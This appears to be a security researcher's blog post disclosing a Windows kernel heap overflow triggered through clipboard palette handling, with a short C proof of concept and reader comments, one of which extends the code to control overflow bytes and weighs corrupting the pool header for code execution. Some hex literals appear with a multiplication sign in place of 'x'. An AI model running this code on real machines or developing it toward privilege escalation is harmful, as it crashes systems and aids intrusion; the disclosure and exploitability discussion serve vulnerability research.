Heapos Forever

There are still hippos around us, beware:
heapo

Kernel heap overflow.

DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);


[Update, 11th Aug]: Here is MSRC response.

Tags: , ,

17 Responses to “Heapos Forever”

  1. [...] posting is by someone who calls him(her?)self [...]

  2. [...] buffer overflow, which was originally reported here, can be exploited to escalate privileges or crash vulnerable machines, IT research company Vupen [...]

  3. [...] buffer overflow, which was originally reported here, can be exploited to escalate privileges or crash vulnerable machines, IT research company Vupen [...]

  4. DaveK says:

    This has been inevitable, since MS first tried to resolve NT performance issues by hoisting a tonne of user-mode code straight up to the kernel – a massive security disaster. I’d bet anything there will be a huge number more of bugs yet to be discovered in NTGDI. Only reason we don’t see more of them is the limited number of people researching the area, it’s not because the bugs aren’t dense.

  5. DaveK says:

    oh, ps: respects to the hippo. we like hippos!

  6. arkon says:

    DaveK – True.

    Anyway, it’s really funny for me to read that people say it’s exploitable, I am waiting to see an exploit, in the code execution sense. This is not trivial since every fourth byte that is copied is the value 4. And the memory block gets allocated per call, very hard to have any assumptions on it. But who am I to judge if Vupen said it’s exploitable, LOL.

    Another thing – no one said how to temporarily avoid this vulnerability from occurring, if you change the clipboard access, or the access to change resolution then you’re good to go.

  7. DaveK says:

    Does look tricky to exploit, but i never like to assume, somebody clever might always come along and do a gobbles on you….

    I added some code to fill the buffer with some garbage bytes instead of zeros where the colour data should be:

    #include

    #define CF_DIBV5 17
    #undef CF_MAX
    #define CF_MAX 18

    static const char fillarray[8] = {
    0xaa, 0xbb, 0xcc, 0×00,
    0xee, 0xff, 0×99, 0×00
    };

    int main (int argc __attribute__ ((unused)), const char **argv __attribute__ ((unused)))
    {
    DEVMODE dm = {0};
    dm.dmSize = sizeof(DEVMODE);
    dm.dmBitsPerPel = 8;
    dm.dmPelsWidth = 800;
    dm.dmPelsHeight = 600;
    dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
    ChangeDisplaySettings(&dm, 0);

    BITMAPINFOHEADER bmih = {0};
    bmih.biClrUsed = 0×200;

    HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);

    LPVOID pFoo = GlobalLock(h);
    memcpy((PVOID)pFoo, &bmih, sizeof(bmih));

    char *ptr = sizeof(BITMAPV5HEADER) + (char *)pFoo;
    int n = 0;
    while (ptr < 0×1000 + (char *)pFoo)
    *ptr++ = fillarray[(n++)&7];

    GlobalUnlock(h);

    OpenClipboard(NULL);
    SetClipboardData(CF_DIBV5, (HANDLE)h);
    CloseClipboard();

    OpenClipboard(NULL);
    GetClipboardData(CF_PALETTE);

    return 0;
    }

    I found that the fillarray elements [3] and [7] have to be zero, or it somehow doesn't qualify as a valid RGBQUAD and although the display still gets trashed, the system doesn't bugcheck. That's interesting, and possibly significant. Otherwise, as you say, every fourth byte is 0×04, but it does look like we can control the rest of them. Now, let's overlay that on the pool header struct:

    typedef struct _POOL_HEADER
    {
    union
    {
    struct
    {
    USHORT PreviousSize : 9;
    USHORT PoolIndex : 7;
    USHORT BlockSize : 9;
    USHORT PoolType : 7;
    }
    ULONG32 Ulong1;
    }
    union
    {
    struct _EPROCESS* ProcessBilled;
    ULONG PoolTag;
    struct
    {
    USHORT AllocatorBackTraceIndex;
    USHORT PoolTagHash;
    }
    }
    } POOL_HEADER, *POOL_HEADER; // sizeof(POOL_HEADER) == 8

    Ah. If i'm remembering my bitfield ordering correctly, that means that the 0×04 falls on top of the low 8 bits of the blocksize field. That really limits our chances of crafting a useful fake header…

  8. arkon says:

    I know, I played with it myself.

    It’s very hard to exploit it for code execution, on the edge of impossible. That’s why I felt safe about releasing it publicly :)
    Still curious, if anybody is able to do it.

  9. John says:

    Does this work on Windows 98 or ME

  10. [...] including the heavily fortified Windows 7. The buffer overflow, which was originally reported here, can be exploited to escalate privileges or crash vulnerable machines, IT research company Vupen [...]

  11. [...] Windows” and a “new zero-day hole”. However, so far, no exploits have been found. Commenting on his post, Arkon doubted that there will ever be any. The programmer thinks that exploiting the [...]

  12. Rob says:

    Give Aitel and the guys over at Immunity a coupla days ;)

  13. arkon says:

    Even he cannot do it, sorry guys ;(

  14. J says:

    Seems like Immunity guys did it, Arkon.

  15. arkon says:

    Can’t wait to see it then !
    Respect

  16. Exodus says:

    So MSRC actually succeeded into turning this into a local priviliges escalation exploit..
    sweet.. it could have worth a lot of $s..
    nice catch gil ;)

Leave a Reply